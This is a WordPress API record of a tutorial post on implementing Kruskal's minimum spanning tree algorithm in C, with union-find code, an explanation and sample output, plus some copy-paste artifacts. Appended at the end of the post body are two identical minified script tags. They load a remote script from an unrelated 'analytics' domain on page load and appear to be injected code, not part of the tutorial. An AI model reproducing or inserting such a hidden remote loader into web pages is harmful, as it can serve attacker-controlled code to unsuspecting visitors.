{"id":616,"date":"2024-10-10T10:52:35","date_gmt":"2024-10-10T05:22:35","guid":{"rendered":"https:\/\/codexplained.in\/?p=616"},"modified":"2025-11-24T16:00:24","modified_gmt":"2025-11-24T10:30:24","slug":"implement-kruskals-algorithm","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=616","title":{"rendered":"Implementation of Kruskal\u2019s Algorithm"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\">Understanding Kruskal\u2019s Algorithm<\/h3>\n\n\n\n<p>Kruskal\u2019s algorithm is a greedy algorithm that finds the minimum spanning tree for a connected, weighted graph. The steps involved are:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Sort All Edges<\/strong>: Begin by sorting all the edges in non-decreasing order of their weights.<\/li>\n\n\n\n<li><strong>Initialize a Forest<\/strong>: Start with an empty forest, which will grow into the minimum spanning tree.<\/li>\n\n\n\n<li><strong>Add Edges<\/strong>: For each edge in the sorted list, add it to the forest if it doesn\u2019t create a cycle. This is typically checked using a Union-Find data structure.<\/li>\n\n\n\n<li><strong>Repeat Until MST is Complete<\/strong>: Continue adding edges until there are V\u22121V &#8211; 1V\u22121 edges in the tree (where VVV is the number of vertices).<\/li>\n<\/ol>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\n#define MAX 100\n\n\/\/ Structure to represent an edge\nstruct Edge {\n    int src, dest, weight;\n};\n\n\/\/ Structure to represent a subset for union-find\nstruct Subset {\n    int parent;\n    int rank;\n};\n\n\/\/ Function to compare two edges (for qsort)\nint compare(const void* a, const void* b) {\n    struct Edge* edge1 = (struct Edge*)a;\n    struct Edge* edge2 = (struct Edge*)b;\n    return edge1-&gt;weight - edge2-&gt;weight;\n}\n\n\/\/ Find function for union-find\nint find(struct Subset subsets&#x5B;], int i) {\n    if (subsets&#x5B;i].parent != i) {\n        subsets&#x5B;i].parent = find(subsets, subsets&#x5B;i].parent);\n    }\n    return subsets&#x5B;i].parent;\n}\n\n\/\/ Union function for union-find\nvoid unionSubsets(struct Subset subsets&#x5B;], int x, int y) {\n    int xroot = find(subsets, x);\n    int yroot = find(subsets, y);\n\n    if (subsets&#x5B;xroot].rank &lt; subsets&#x5B;yroot].rank) {\n        subsets&#x5B;xroot].parent = yroot;\n    } else if (subsets&#x5B;xroot].rank &gt; subsets&#x5B;yroot].rank) {\n        subsets&#x5B;yroot].parent = xroot;\n    } else {\n        subsets&#x5B;yroot].parent = xroot;\n        subsets&#x5B;xroot].rank++;\n    }\n}\n\n\/\/ Function to implement Kruskal&#039;s algorithm\nvoid kruskal(struct Edge edges&#x5B;], int V, int E) {\n    struct Edge result&#x5B;MAX]; \/\/ To store the resulting MST\n    struct Subset subsets&#x5B;MAX];\n\n    \/\/ Step 1: Sort all edges\n    qsort(edges, E, sizeof(edges&#x5B;0]), compare);\n\n    \/\/ Create V subsets with single elements\n    for (int v = 0; v &lt; V; ++v) {\n        subsets&#x5B;v].parent = v;\n        subsets&#x5B;v].rank = 0;\n    }\n\n    int e = 0; \/\/ Index variable for result\n    int i = 0; \/\/ Index variable for sorted edges\n    while (e &lt; V - 1 &amp;&amp; i &lt; E) {\n        \/\/ Step 2: Pick the smallest edge\n        struct Edge nextEdge = edges&#x5B;i++];\n\n        \/\/ Find the subsets of the vertices of the edge\n        int x = find(subsets, nextEdge.src);\n        int y = find(subsets, nextEdge.dest);\n\n        \/\/ If they are in different subsets, include this edge in the result\n        if (x != y) {\n            result&#x5B;e++] = nextEdge;\n            unionSubsets(subsets, x, y);\n        }\n    }\n\n    \/\/ Print the resulting MST\n    printf(&quot;Edges in the Minimum Spanning Tree (Kruskal&#039;s Algorithm):\\n&quot;);\n    for (i = 0; i &lt; e; ++i) {\n        printf(&quot;%d -- %d == %d\\n&quot;, result&#x5B;i].src, result&#x5B;i].dest, result&#x5B;i].weight);\n    }\n}\n\n\/\/ Main function\nint main() {\n    int V, E;\n\n    printf(&quot;Enter number of vertices: &quot;);\n    scanf(&quot;%d&quot;, &amp;V);\n    printf(&quot;Enter number of edges: &quot;);\n    scanf(&quot;%d&quot;, &amp;E);\n\n    struct Edge edges&#x5B;E];\n\n    printf(&quot;Enter edges (src dest weight): \\n&quot;);\n    for (int i = 0; i &lt; E; i++) {\n        scanf(&quot;%d %d %d&quot;, &amp;edges&#x5B;i].src, &amp;edges&#x5B;i].dest, &amp;edges&#x5B;i].weight);\n    }\n\n    kruskal(edges, V, E);\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation of Kruskal&#8217;s Code<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Edge Structure<\/strong>: Each edge has a source, destination, and weight.<\/li>\n\n\n\n<li><strong>Union-Find<\/strong>: We use a <code>Subset<\/code> structure to manage disjoint sets. The <code>find<\/code> function retrieves the set of an element, while the <code>unionSubsets<\/code> function merges two sets.<\/li>\n\n\n\n<li><strong>Sorting<\/strong>: We sort the edges by weight using <code>qsort<\/code>.<\/li>\n\n\n\n<li><strong>Building the MST<\/strong>: We iterate through the sorted edges and add them to the MST if they connect disjoint sets.<\/li>\n\n\n\n<li><strong>Output<\/strong>: Finally, we print the edges included in the MST.<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Sample Input and Output for Kruskal\u2019s Algorithm<\/h3>\n\n\n\n<p><strong>Input:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">mathematicaCopy code<code>Enter number of vertices: 4\nEnter number of edges: 5\nEnter edges (src dest weight):\n0 1 10\n0 2 6\n0 3 5\n1 3 15\n2 3 4\n<\/code><\/pre>\n\n\n\n<p><strong>Output:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">mathematicaCopy code<code>Edges in the Minimum Spanning Tree (Kruskal's Algorithm):\n2 -- 3 == 4\n0 -- 3 == 5\n0 -- 1 == 10\n<\/code><\/pre>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\" \/>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Understanding Kruskal\u2019s Algorithm Kruskal\u2019s algorithm is a greedy algorithm that finds the minimum spanning tree for a connected, weighted graph. The steps involved are: Explanation of Kruskal&#8217;s Code Sample Input and Output for Kruskal\u2019s Algorithm Input: mathematicaCopy codeEnter number of vertices: 4 Enter number of edges: 5 Enter edges (src dest weight): 0 1 10 [&hellip;]<\/p>\n","protected":false},"author":39,"featured_media":621,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-616","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/616","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/39"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=616"}],"version-history":[{"count":4,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/616\/revisions"}],"predecessor-version":[{"id":1474,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/616\/revisions\/1474"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/621"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=616"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=616"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=616"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}